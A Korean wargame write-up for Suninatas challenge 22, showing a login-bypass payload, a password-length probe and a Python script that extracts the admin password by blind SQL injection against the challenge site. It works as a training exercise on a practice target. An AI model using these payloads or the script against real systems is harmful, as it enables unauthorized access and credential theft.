[Wargame] Suninatas 22번 Write-Up
문제 화면
- id와 pw를 입력할 수 있는 폼이 보이며, Filtering Keywords 들이 나열되어 있다.
- Blind SQL Injection을 이용하여 pw 를 알아내는 문제인 듯 하다.
소스코드
- 전체적인 소스코드를 확인하면 더욱 좋겠지만…
- 사실 이 정도만 확인해도 얻을만한 정보는 충분히 얻었다고 생각한다 !
- GET 방식을 통해 form 데이터가 전송되는 점을 확인할 수 있으며,
- ID : guest / PW : guest 인 점, 그리고 admin 계정의 pw를 알아내야한다는 점을 알 수 있다.
- 궁극적으로 Blind SQL Injection을 이용하여 admin의 pw를 알아내면 되는 문제이다.
SQL Injection 기본 구문 삽입 시도
- ID 값으로 admin’ -- 을 입력하고, pw 값으로 1을 입력해준 뒤 Login을 해보았다.
- SQL Injection 공격이 성공적으로 이루어져 admin 계정으로 로그인이 되었다.
- 그러나, 목표는 admin의 패스워드를 탈취하는 것이다..!
- 먼저 admin의 패스워드 길이부터 알아내도록 하자 !
len(pw) 를 통한 패스워드 길이 유추
- 패스워드 길이를 알아내는데 사용한 쿼리문은 다음과 같다.
- admin’ and len(pw)=[대입 숫자] --
- 패스워드 길다 하더라도 수십자리 이상은 안될거라 생각했기에, 손수 1부터 작업했다..
- 9를 대입했을 경우까지는, False를 출력하지만, 10을 대입한 순간 OK admin이 출력된다 !
- 이를 통해 admin 계정의 패스워드 길이는 10 임을 확인할 수 있다.
- 패스워드 길이를 확인했으니 다음은 패스워드 값을 알아내보자 !
패스워드 값을 알아내는 경우 알파벳 대소문자, 특수문자, 숫자를 각 자리마다 모두 대입하여
알아내야하므로, 수동적으로 직접 대입하는데는 시간적으로 무리가 있다.. 따라서 Python을
이용하여 코드를 작성하여 빠르게 값들을 대입하도록 한다 !
blind_sql.py 작성
import requests
pw = ''
for i in range(1,11):
for j in range(33, 127):
r = requests.get("http://suninatas.com/challenge/web22/web22.asp?id=admin' and substring(pw,{},1)='{}' -- &pw=1".format(i,chr(j)))
if r.text.find("OK") > 1:
pw += chr(j)
print(str(i)+"번째 자리 패스워드 : "+chr(j))
print("패스워드 : " + pw)
- requests 모듈을 이용하여 Blind SQL Injection 코드를 작성하였다.
- 대입한 문자와 admin의 자릿수에 맞는 문자가 일치할 경우 문자를 출력한다.
- 문자열 대입의 경우 chr 함수를 이용하여 아스키 코드 수 형식으로 대입한다.
- 아스키 코드 형식을 사용해야 range를 통해 대입하기 용이하기 때문이다 !
- 작성한 코드를 실행해보면 …
admin 패스워드 값 획득
- 성공적으로 admin의 패스워드 값을 획득할 수 있다 !